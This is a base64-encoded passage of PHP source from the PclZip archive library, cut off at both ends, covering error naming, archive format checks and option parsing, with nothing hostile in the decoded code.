U5DUllQVElPTicKICAgICAgICAgICAgICAgICAgICAgICxQQ0xaSVBfRVJSX0lOVkFMSURfQVRUUklCVVRFX1ZBTFVFID0+ICdQQ0xaSVBfRVJSX0lOVkFMSURfQVRUUklCVVRFX1ZBTFVFJwogICAgICAgICAgICAgICAgICAgICAgLFBDTFpJUF9FUlJfRElSRUNUT1JZX1JFU1RSSUNUSU9OID0+ICdQQ0xaSVBfRVJSX0RJUkVDVE9SWV9SRVNUUklDVElPTicKICAgICAgICAgICAgICAgICAgICApOwoKICAgIGlmIChpc3NldCgkdl9uYW1lWyR0aGlzLT5lcnJvcl9jb2RlXSkpIHsKICAgICAgJHZfdmFsdWUgPSAkdl9uYW1lWyR0aGlzLT5lcnJvcl9jb2RlXTsKICAgIH0KICAgIGVsc2UgewogICAgICAkdl92YWx1ZSA9ICdOb05hbWUnOwogICAgfQoKICAgIGlmICgkcF93aXRoX2NvZGUpIHsKICAgICAgcmV0dXJuKCR2X3ZhbHVlLicgKCcuJHRoaXMtPmVycm9yX2NvZGUuJyknKTsKICAgIH0KICAgIGVsc2UgewogICAgICByZXR1cm4oJHZfdmFsdWUpOwogICAgfQogIH0KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIC8vIEZ1bmN0aW9uIDogZXJyb3JJbmZvKCkKICAvLyBEZXNjcmlwdGlvbiA6CiAgLy8gUGFyYW1ldGVycyA6CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICBmdW5jdGlvbiBlcnJvckluZm8oJHBfZnVsbD1mYWxzZSkKICB7CiAgICBpZiAoUENMWklQX0VSUk9SX0VYVEVSTkFMID09IDEpIHsKICAgICAgcmV0dXJuKFBjbEVycm9yU3RyaW5nKCkpOwogICAgfQogICAgZWxzZSB7CiAgICAgIGlmICgkcF9mdWxsKSB7CiAgICAgICAgcmV0dXJuKCR0aGlzLT5lcnJvck5hbWUodHJ1ZSkuIiA6ICIuJHRoaXMtPmVycm9yX3N0cmluZyk7CiAgICAgIH0KICAgICAgZWxzZSB7CiAgICAgICAgcmV0dXJuKCR0aGlzLT5lcnJvcl9zdHJpbmcuIiBbY29kZSAiLiR0aGlzLT5lcnJvcl9jb2RlLiJdIik7CiAgICAgIH0KICAgIH0KICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQovLyAqKioqKiBVTkRFUiBUSElTIExJTkUgQVJFIERFRklORUQgUFJJVkFURSBJTlRFUk5BTCBGVU5DVElPTlMgKioqKioKLy8gKioqKiogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICoqKioqCi8vICoqKioqICAgICAgIFRIRVNFUyBGVU5DVElPTlMgTVVTVCBOT1QgQkUgVVNFRCBESVJFQ1RMWSAgICAgICAqKioqKgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQoKCgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgLy8gRnVuY3Rpb24gOiBwcml2Q2hlY2tGb3JtYXQoKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyAgIFRoaXMgbWV0aG9kIGNoZWNrIHRoYXQgdGhlIGFyY2hpdmUgZXhpc3RzIGFuZCBpcyBhIHZhbGlkIHppcCBhcmNoaXZlLgogIC8vICAgU2V2ZXJhbCBsZXZlbCBvZiBjaGVjayBleGlzdHMuIChmdXR1cikKICAvLyBQYXJhbWV0ZXJzIDoKICAvLyAgICRwX2xldmVsIDogTGV2ZWwgb2YgY2hlY2suIERlZmF1bHQgMC4KICAvLyAgICAgICAgICAgICAgMCA6IENoZWNrIHRoZSBmaXJzdCBieXRlcyAobWFnaWMgY29kZXMpIChkZWZhdWx0IHZhbHVlKSkKICAvLyAgICAgICAgICAgICAgMSA6IDAgKyBDaGVjayB0aGUgY2VudHJhbCBkaXJlY3RvcnkgKGZ1dHVyKQogIC8vICAgICAgICAgICAgICAyIDogMSArIENoZWNrIGVhY2ggZmlsZSBoZWFkZXIgKGZ1dHVyKQogIC8vIFJldHVybiBWYWx1ZXMgOgogIC8vICAgdHJ1ZSBvbiBzdWNjZXNzLAogIC8vICAgZmFsc2Ugb24gZXJyb3IsIHRoZSBlcnJvciBjb2RlIGlzIHNldC4KICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogIGZ1bmN0aW9uIHByaXZDaGVja0Zvcm1hdCgkcF9sZXZlbD0wKQogIHsKICAgICR2X3Jlc3VsdCA9IHRydWU7CgoJLy8gLS0tLS0gUmVzZXQgdGhlIGZpbGUgc3lzdGVtIGNhY2hlCiAgICBjbGVhcnN0YXRjYWNoZSgpOwoKICAgIC8vIC0tLS0tIFJlc2V0IHRoZSBlcnJvciBoYW5kbGVyCiAgICAkdGhpcy0+cHJpdkVycm9yUmVzZXQoKTsKCiAgICAvLyAtLS0tLSBMb29rIGlmIHRoZSBmaWxlIGV4aXRzCiAgICBpZiAoIWlzX2ZpbGUoJHRoaXMtPnppcG5hbWUpKSB7CiAgICAgIC8vIC0tLS0tIEVycm9yIGxvZwogICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX01JU1NJTkdfRklMRSwgIk1pc3NpbmcgYXJjaGl2ZSBmaWxlICciLiR0aGlzLT56aXBuYW1lLiInIik7CiAgICAgIHJldHVybihmYWxzZSk7CiAgICB9CgogICAgLy8gLS0tLS0gQ2hlY2sgdGhhdCB0aGUgZmlsZSBpcyByZWFkZWFibGUKICAgIGlmICghaXNfcmVhZGFibGUoJHRoaXMtPnppcG5hbWUpKSB7CiAgICAgIC8vIC0tLS0tIEVycm9yIGxvZwogICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX1JFQURfT1BFTl9GQUlMLCAiVW5hYmxlIHRvIHJlYWQgYXJjaGl2ZSAnIi4kdGhpcy0+emlwbmFtZS4iJyIpOwogICAgICByZXR1cm4oZmFsc2UpOwogICAgfQoKICAgIC8vIC0tLS0tIENoZWNrIHRoZSBtYWdpYyBjb2RlCiAgICAvLyBUQkMKCiAgICAvLyAtLS0tLSBDaGVjayB0aGUgY2VudHJhbCBoZWFkZXIKICAgIC8vIFRCQwoKICAgIC8vIC0tLS0tIENoZWNrIGVhY2ggZmlsZSBoZWFkZXIKICAgIC8vIFRCQwoKICAgIC8vIC0tLS0tIFJldHVybgogICAgcmV0dXJuICR2X3Jlc3VsdDsKICB9CiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiAgLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAvLyBGdW5jdGlvbiA6IHByaXZQYXJzZU9wdGlvbnMoKQogIC8vIERlc2NyaXB0aW9uIDoKICAvLyAgIFRoaXMgaW50ZXJuYWwgbWV0aG9kcyByZWFkcyB0aGUgdmFyaWFibGUgbGlzdCBvZiBhcmd1bWVudHMgKCRwX29wdGlvbnNfbGlzdCwKICAvLyAgICRwX3NpemUpIGFuZCBnZW5lcmF0ZSBhbiBhcnJheSB3aXRoIHRoZSBvcHRpb25zIGFuZCB2YWx1ZXMgKCR2X3Jlc3VsdF9saXN0KS4KICAvLyAgICR2X3JlcXVlc3RlZF9vcHRpb25zIGNvbnRhaW5zIHRoZSBvcHRpb25zIHRoYXQgY2FuIGJlIHByZXNlbnQgYW5kIHRob3NlIHRoYXQKICAvLyAgIG11c3QgYmUgcHJlc2VudC4KICAvLyAgICR2X3JlcXVlc3RlZF9vcHRpb25zIGlzIGFuIGFycmF5LCB3aXRoIHRoZSBvcHRpb24gdmFsdWUgYXMga2V5LCBhbmQgJ29wdGlvbmFsJywKICAvLyAgIG9yICdtYW5kYXRvcnknIGFzIHZhbHVlLgogIC8vIFBhcmFtZXRlcnMgOgogIC8vICAgU2VlIGFib3ZlLgogIC8vIFJldHVybiBWYWx1ZXMgOgogIC8vICAgMSBvbiBzdWNjZXNzLgogIC8vICAgMCBvbiBmYWlsdXJlLgogIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiAgZnVuY3Rpb24gcHJpdlBhcnNlT3B0aW9ucygmJHBfb3B0aW9uc19saXN0LCAkcF9zaXplLCAmJHZfcmVzdWx0X2xpc3QsICR2X3JlcXVlc3RlZF9vcHRpb25zPWZhbHNlKQogIHsKICAgICR2X3Jlc3VsdD0xOwoKICAgIC8vIC0tLS0tIFJlYWQgdGhlIG9wdGlvbnMKICAgICRpPTA7CiAgICB3aGlsZSAoJGk8JHBfc2l6ZSkgewoKICAgICAgLy8gLS0tLS0gQ2hlY2sgaWYgdGhlIG9wdGlvbiBpcyBzdXBwb3J0ZWQKICAgICAgaWYgKCFpc3NldCgkdl9yZXF1ZXN0ZWRfb3B0aW9uc1skcF9vcHRpb25zX2xpc3RbJGldXSkpIHsKICAgICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0lOVkFMSURfUEFSQU1FVEVSLCAiSW52YWxpZCBvcHRpb25hbCBwYXJhbWV0ZXIgJyIuJHBfb3B0aW9uc19saXN0WyRpXS4iJyBmb3IgdGhpcyBtZXRob2QiKTsKCiAgICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgIH0KCiAgICAgIC8vIC0tLS0tIExvb2sgZm9yIG5leHQgb3B0aW9uCiAgICAgIHN3aXRjaCAoJHBfb3B0aW9uc19saXN0WyRpXSkgewogICAgICAgIC8vIC0tLS0tIExvb2sgZm9yIG9wdGlvbnMgdGhhdCByZXF1ZXN0IGEgcGF0aCB2YWx1ZQogICAgICAgIGNhc2UgUENMWklQX09QVF9QQVRIIDoKICAgICAgICBjYXNlIFBDTFpJUF9PUFRfUkVNT1ZFX1BBVEggOgogICAgICAgIGNhc2UgUENMWklQX09QVF9BRERfUEFUSCA6CiAgICAgICAgICAvLyAtLS0tLSBDaGVjayB0aGUgbnVtYmVyIG9mIHBhcmFtZXRlcnMKICAgICAgICAgIGlmICgoJGkrMSkgPj0gJHBfc2l6ZSkgewogICAgICAgICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9NSVNTSU5HX09QVElPTl9WQUxVRSwgIk1pc3NpbmcgcGFyYW1ldGVyIHZhbHVlIGZvciBvcHRpb24gJyIuUGNsWmlwVXRpbE9wdGlvblRleHQoJHBfb3B0aW9uc19saXN0WyRpXSkuIiciKTsKCiAgICAgICAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICAgICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgICAgICAgIH0KCiAgICAgICAgICAvLyAtLS0tLSBHZXQgdGhlIHZhbHVlCiAgICAgICAgICAkdl9yZXN1bHRfbGlzdFskcF9vcHRpb25zX2xpc3RbJGldXSA9IFBjbFppcFV0aWxUcmFuc2xhdGVXaW5QYXRoKCRwX29wdGlvbnNfbGlzdFskaSsxXSwgRkFMU0UpOwogICAgICAgICAgJGkrKzsKICAgICAgICBicmVhazsKCiAgICAgICAgY2FzZSBQQ0xaSVBfT1BUX1RFTVBfRklMRV9USFJFU0hPTEQgOgogICAgICAgICAgLy8gLS0tLS0gQ2hlY2sgdGhlIG51bWJlciBvZiBwYXJhbWV0ZXJzCiAgICAgICAgICBpZiAoKCRpKzEpID49ICRwX3NpemUpIHsKICAgICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9NSVNTSU5HX09QVElPTl9WQUxVRSwgIk1pc3NpbmcgcGFyYW1ldGVyIHZhbHVlIGZvciBvcHRpb24gJyIuUGNsWmlwVXRpbE9wdGlvblRleHQoJHBfb3B0aW9uc19saXN0WyRpXSkuIiciKTsKICAgICAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgICAgICB9CgogICAgICAgICAgLy8gLS0tLS0gQ2hlY2sgZm9yIGluY29tcGF0aWJsZSBvcHRpb25zCiAgICAgICAgICBpZiAoaXNzZXQoJHZfcmVzdWx0X2xpc3RbUENMWklQX09QVF9URU1QX0ZJTEVfT0ZGXSkpIHsKICAgICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX1BBUkFNRVRFUiwgIk9wdGlvbiAnIi5QY2xaaXBVdGlsT3B0aW9uVGV4dCgkcF9vcHRpb25zX2xpc3RbJGldKS4iJyBjYW4gbm90IGJlIHVzZWQgd2l0aCBvcHRpb24gJ1BDTFpJUF9PUFRfVEVNUF9GSUxFX09GRiciKTsKICAgICAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgICAgICB9CgogICAgICAgICAgLy8gLS0tLS0gQ2hlY2sgdGhlIHZhbHVlCiAgICAgICAgICAkdl92YWx1ZSA9ICRwX29wdGlvbnNfbGlzdFskaSsxXTsKICAgICAgICAgIGlmICgoIWlzX2ludGVnZXIoJHZfdmFsdWUpKSB8fCAoJHZfdmFsdWU8MCkpIHsKICAgICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX09QVElPTl9WQUxVRSwgIkludGVnZXIgZXhwZWN0ZWQgZm9yIG9wdGlvbiAnIi5QY2xaaXBVdGlsT3B0aW9uVGV4dCgkcF9vcHRpb25zX2xpc3RbJGldKS4iJyIpOwogICAgICAgICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgICAgICAgIH0KCiAgICAgICAgICAvLyAtLS0tLSBHZXQgdGhlIHZhbHVlIChhbmQgY29udmVydCBpdCBpbiBieXRlcykKICAgICAgICAgICR2X3Jlc3VsdF9saXN0WyRwX29wdGlvbnNfbGlzdFskaV1dID0gJHZfdmFsdWUqMTA0ODU3NjsKICAgICAgICAgICRpKys7CiAgICAgICAgYnJlYWs7CgogICAgICAgIGNhc2UgUENMWklQX09QVF9URU1QX0ZJTEVfT04gOgogICAgICAgICAgLy8gLS0tLS0gQ2hlY2sgZm9yIGluY29tcGF0aWJsZSBvcHRpb25zCiAgICAgICAgICBpZiAoaXNzZXQoJHZfcmVzdWx0X2xpc3RbUENMWklQX09QVF9URU1QX0ZJTEVfT0ZGXSkpIHsKICAgICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX1BBUkFNRVRFUiwgIk9wdGlvbiAnIi5QY2xaaXBVdGlsT3B0aW9uVGV4dCgkcF9vcHRpb25zX2xpc3RbJGldKS4iJyBjYW4gbm90IGJlIHVzZWQgd2l0aCBvcHRpb24gJ1BDTFpJUF9PUFRfVEVNUF9GSUxFX09GRiciKTsKICAgICAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgICAgICB9CgogICAgICAgICAgJHZfcmVzdWx0X2xpc3RbJHBfb3B0aW9uc19saXN0WyRpXV0gPSB0cnVlOwogICAgICAgIGJyZWFrOwoKICAgICAgICBjYXNlIFBDTFpJUF9PUFRfVEVNUF9GSUxFX09GRiA6CiAgICAgICAgICAvLyAtLS0tLSBDaGVjayBmb3IgaW5jb21wYXRpYmxlIG9wdGlvbnMKICAgICAgICAgIGlmIChpc3NldCgkdl9yZXN1bHRfbGlzdFtQQ0xaSVBfT1BUX1RFTVBfRklMRV9PTl0pKSB7CiAgICAgICAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfSU5WQUxJRF9QQVJBTUVURVIsICJPcHRpb24gJyIuUGNsWmlwVXRpbE9wdGlvblRleHQoJHBfb3B0aW9uc19saXN0WyRpXSkuIicgY2FuIG5vdCBiZSB1c2VkIHdpdGggb3B0aW9uICdQQ0xaSVBfT1BUX1RFTVBfRklMRV9PTiciKTsKICAgICAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgICAgICB9CiAgICAgICAgICAvLyAtLS0tLSBDaGVjayBmb3IgaW5jb21wYXRpYmxlIG9wdGlvbnMKICAgICAgICAgIGlmIChpc3NldCgkdl9yZXN1bHRfbGlzdFtQQ0xaSVBfT1BUX1RFTVBfRklMRV9USFJFU0hPTERdKSkgewogICAgICAgICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0lOVkFMSURfUEFSQU1FVEVSLCAiT3B0aW9uICciLlBjbFppcFV0aWxPcHRpb25UZXh0KCRwX29wdGlvbnNfbGlzdFskaV0pLiInIGNhbiBub3QgYmUgdXNlZCB3aXRoIG9wdGlvbiAnUENMWklQX09QVF9URU1QX0ZJTEVfVEhSRVNIT0xEJyIpOwogICAgICAgICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgICAgICAgIH0KCiAgICAgICAgICAkdl9yZXN1bHRfbGlzdFskcF9vcHRpb25zX2xpc3RbJGldXSA9IHRydWU7CiAgICAgICAgYnJlYWs7CgogICAgICAgIGNhc2UgUENMWklQX09QVF9FWFRSQUNUX0RJUl9SRVNUUklDVElPTiA6CiAgICAgICAgICAvLyAtLS0tLSBDaGVjayB0aGUgbnVtYmVyIG9mIHBhcmFtZXRlcnMKICAgICAgICAgIGlmICgoJGkrMSkgPj0gJHBfc2l6ZSkgewogICAgICAgICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9NSVNTSU5HX09QVElPTl9WQUxVRSwgIk1pc3NpbmcgcGFyYW1ldGVyIHZhbHVlIGZvciBvcHRpb24gJyIuUGNsWmlwVXRpbE9wdGlvblRleHQoJHBfb3B0aW9uc19saXN0WyRpXSkuIiciKTsKCiAgICAgICAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICAgICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgICAgICAgIH0KCiAgICAgICAgICAvLyAtLS0tLSBHZXQgdGhlIHZhbHVlCiAgICAgICAgICBpZiAoICAgaXNfc3RyaW5nKCRwX29wdGlvbnNfbGlzdFskaSsxXSkKICAgICAgICAgICAgICAmJiAoJHBfb3B0aW9uc19saXN0WyRpKzFdICE9ICcnKSkgewogICAgICAgICAgICAkdl9yZXN1bHRfbGlzdFskcF9vcHRpb25zX2xpc3RbJGldXSA9IFBjbFppcFV0aWxUcmFuc2xhdGVXaW5QYXRoKCRwX29wdGlvbnNfbGlzdFskaSsxXSwgRkFMU0UpOwogICAgICAgICAgICAkaSsrOwogICAgICAgICAgfQogICAgICAgICAgZWxzZSB7CiAgICAgICAgICB9CiAgICAgICAgYnJlYWs7CgogICAgICAgIC8vIC0tLS0tIExvb2sgZm9yIG9wdGlvbnMgdGhhdCByZXF1ZXN0IGFuIGFycmF5IG9mIHN0cmluZyBmb3IgdmFsdWUKICAgICAgICBjYXNlIFBDTFpJUF9PUFRfQllfTkFNRSA6CiAgICAgICAgICAvLyAtLS0tLSBDaGVjayB0aGUgbnVtYmVyIG9mIHBhcmFtZXRlcnMKICAgICAgICAgIGlmICgoJGkrMSkgPj0gJHBfc2l6ZSkgewogICAgICAgICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9NSVNTSU5HX09QVElPTl9WQUxVRSwgIk1pc3NpbmcgcGFyYW1ldGVyIHZhbHVlIGZvciBvcHRpb24gJyIuUGNsWmlwVXRpbE9wdGlvblRleHQoJHBfb3B0aW9uc19saXN0WyRpXSkuIiciKTsKCiAgICAgICAgICAgIC8vIC0tLS0tIFJldHVybgogICAgICAgICAgICByZXR1cm4gUGNsWmlwOjplcnJvckNvZGUoKTsKICAgICAgICAgIH0KCiAgICAgICAgICAvLyAtLS0tLSBHZXQgdGhlIHZhbHVlCiAgICAgICAgICBpZiAoaXNfc3RyaW5nKCRwX29wdGlvbnNfbGlzdFskaSsxXSkpIHsKICAgICAgICAgICAgICAkdl9yZXN1bHRfbGlzdFskcF9vcHRpb25zX2xpc3RbJGldXVswXSA9ICRwX29wdGlvbnNfbGlzdFskaSsxXTsKICAgICAgICAgIH0KICAgICAgICAgIGVsc2UgaWYgKGlzX2FycmF5KCRwX29wdGlvbnNfbGlzdFskaSsxXSkpIHsKICAgICAgICAgICAgICAkdl9yZXN1bHRfbGlzdFskcF9vcHRpb25zX2xpc3RbJGldXSA9ICRwX29wdGlvbnNfbGlzdFskaSsxXTsKICAgICAgICAgIH0KICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9JTlZBTElEX09QVElPTl9WQUxVRSwgIldyb25nIHBhcmFtZXRlciB2YWx1ZSBmb3Igb3B0aW9uICciLlBjbFppcFV0aWxPcHRpb25UZXh0KCRwX29wdGlvbnNfbGlzdFskaV0pLiInIik7CgogICAgICAgICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgICAgICB9CiAgICAgICAgICAkaSsrOwogICAgICAgIGJyZWFrOwoKICAgICAgICAvLyAtLS0tLSBMb29rIGZvciBvcHRpb25zIHRoYXQgcmVxdWVzdCBhbiBFUkVHIG9yIFBSRUcgZXhwcmVzc2lvbgogICAgICAgIGNhc2UgUENMWklQX09QVF9CWV9FUkVHIDoKICAgICAgICAgIC8vIGVyZWcoKSBpcyBkZXByZWNhdGVkIHN0YXJ0aW5nIHdpdGggUEhQIDUuMy4gTW92ZSBQQ0xaSVBfT1BUX0JZX0VSRUcKICAgICAgICAgIC8vIHRvIFBDTFpJUF9PUFRfQllfUFJFRwogICAgICAgICAgJHBfb3B0aW9uc19saXN0WyRpXSA9IFBDTFpJUF9PUFRfQllfUFJFRzsKICAgICAgICBjYXNlIFBDTFpJUF9PUFRfQllfUFJFRyA6CiAgICAgICAgLy9jYXNlIFBDTFpJUF9PUFRfQ1JZUFQgOgogICAgICAgICAgLy8gLS0tLS0gQ2hlY2sgdGhlIG51bWJlciBvZiBwYXJhbWV0ZXJzCiAgICAgICAgICBpZiAoKCRpKzEpID49ICRwX3NpemUpIHsKICAgICAgICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgICAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfTUlTU0lOR19PUFRJT05fVkFMVUUsICJNaXNzaW5nIHBhcmFtZXRlciB2YWx1ZSBmb3Igb3B0aW9uICciLlBjbFppcFV0aWxPcHRpb25UZXh0KCRwX29wdGlvbnNfbGlzdFskaV0pLiInIik7CgogICAgICAgICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAgICAgICAgICB9CgogICAgICAgICAgLy8gLS0tLS0gR2V0IHRoZSB2YWx1ZQogICAgICAgICAgaWYgKGlzX3N0cmluZygkcF9vcHRpb25zX2xpc3RbJGkrMV0pKSB7CiAgICAgICAgICAgICAgJHZfcmVzdWx0X2xpc3RbJHBfb3B0aW9uc19saXN0WyRpXV0gPSAkcF9vcHRpb25zX2xpc3RbJGkrMV07CiAgICAgICAgICB9CiAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgICAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfSU5WQUxJRF9PUFRJT05fVkFMVUUsICJXcm9uZyBwYXJhbWV0ZXIgdmFsdWUgZm9yIG9wdGlvbiAnIi5QY2xaaXBVdGlsT3B0aW9uVGV4dCgkcF9vcHRpb25zX2xpc3RbJGldKS4iJyIpOwoKICAgICAgICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgICAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgICAgICAgfQogICAgICAgICAgJGkrKzsKICAgICAgICBicmVhazsKCiAgICAgICAgLy8gLS0tLS0gTG9vayBmb3Igb3B0aW9ucyB0aGF0IHRha2VzIGEgc3RyaW5nCiAgICAgICAgY2FzZSBQQ0xaSVBfT1BUX0NPTU1FTlQgOgogICAgICAgIGNhc2UgUENMWklQX09QVF9BRERfQ09NTUVOVCA6CiAgICAgICAgY2FzZSBQQ0xaSVBfT1BUX1BSRVBFTkRfQ09NTUVOVCA6CiAgICAgICAgICAvLyAtLS0tLSBDaGVjayB0aGUgbnVtYmVyIG9mIHBhcmFtZXRlcnMKICAgICAgICAgIGlmICgoJGkrMSkgPj0gJHBfc2l6ZSkgewogICAgICAgICAgICAvLyAtLS0tLSBFcnJvciBsb2cKICAgICAgICAgICAgUGNsWmlwOjpwcml2RXJyb3JMb2coUENMWklQX0VSUl9NSVNTSU5HX09QVElPTl9WQUxVRSwKCQkJICAgICAgICAgICAgICAgICAgICAgIk1pc3NpbmcgcGFyYW1ldGVyIHZhbHVlIGZvciBvcHRpb24gJyIKCQkJCQkJCQkgLlBjbFppcFV0aWxPcHRpb25UZXh0KCRwX29wdGlvbnNfbGlzdFskaV0pCgkJCQkJCQkJIC4iJyIpOwoKICAgICAgICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgICAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgICAgICAgfQoKICAgICAgICAgIC8vIC0tLS0tIEdldCB0aGUgdmFsdWUKICAgICAgICAgIGlmIChpc19zdHJpbmcoJHBfb3B0aW9uc19saXN0WyRpKzFdKSkgewogICAgICAgICAgICAgICR2X3Jlc3VsdF9saXN0WyRwX29wdGlvbnNfbGlzdFskaV1dID0gJHBfb3B0aW9uc19saXN0WyRpKzFdOwogICAgICAgICAgfQogICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIC8vIC0tLS0tIEVycm9yIGxvZwogICAgICAgICAgICBQY2xaaXA6OnByaXZFcnJvckxvZyhQQ0xaSVBfRVJSX0lOVkFMSURfT1BUSU9OX1ZBTFVFLAoJCQkgICAgICAgICAgICAgICAgICAgICAiV3JvbmcgcGFyYW1ldGVyIHZhbHVlIGZvciBvcHRpb24gJyIKCQkJCQkJCQkgLlBjbFppcFV0aWxPcHRpb25UZXh0KCRwX29wdGlvbnNfbGlzdFskaV0pCgkJCQkJCQkJIC4iJyIpOwoKICAgICAgICAgICAgLy8gLS0tLS0gUmV0dXJuCiAgICAgICAgICAgIHJldHVybiBQY2xaaXA6OmVycm9yQ29kZSgpOwogICAgICAgICAgfQogICAgICAgICAgJGkrKzsKICAgICAgICBicmVhazsKCiAgICAgICAgLy8gLS0tLS0gTG9vayBmb3Igb3B0aW9ucyB0aGF0IHJlcXVlc3QgYW4gYXJyYXkgb2YgaW5kZXgKICAgICAgICBjYXNlIFBDTFpJUF9PUFRfQllfSU5ERVggOgogICAgICAgICAgLy8gLS0tLS0gQ2hlY2sgdGhlIG51bWJlciBvZiBwYXJhbWV0ZXJzCiAgICAgICAgICBpZiAoKCRpKzEpID49ICRwX3NpemUpIHsKICAgICAgICAgICAgLy8gLS0tLS0gRXJyb3IgbG9nCiAgICAgICAgICAgIFBjbFppcDo6cHJpdkVycm9yTG9nKFBDTFpJUF9FUlJfTUlTU0lOR19PUFRJT05fVkFMVUUsICJNaXNzaW5nIHBhcmFtZXRlciB2YWx1ZSBmb3Igb3B0aW9uICciLlBjbFppcFV0aWxPcHRpb25UZXh0KCRwX29wdGlvbnNfbGlzdFskaV0pLiInIik7CgogICAgICAgICAgICAvLyAtLS0tLSBSZXR1cm4KICAgICAgICAgICAgcmV0dXJuIFBjbFppcDo6ZXJyb3JDb2RlKCk7CiAg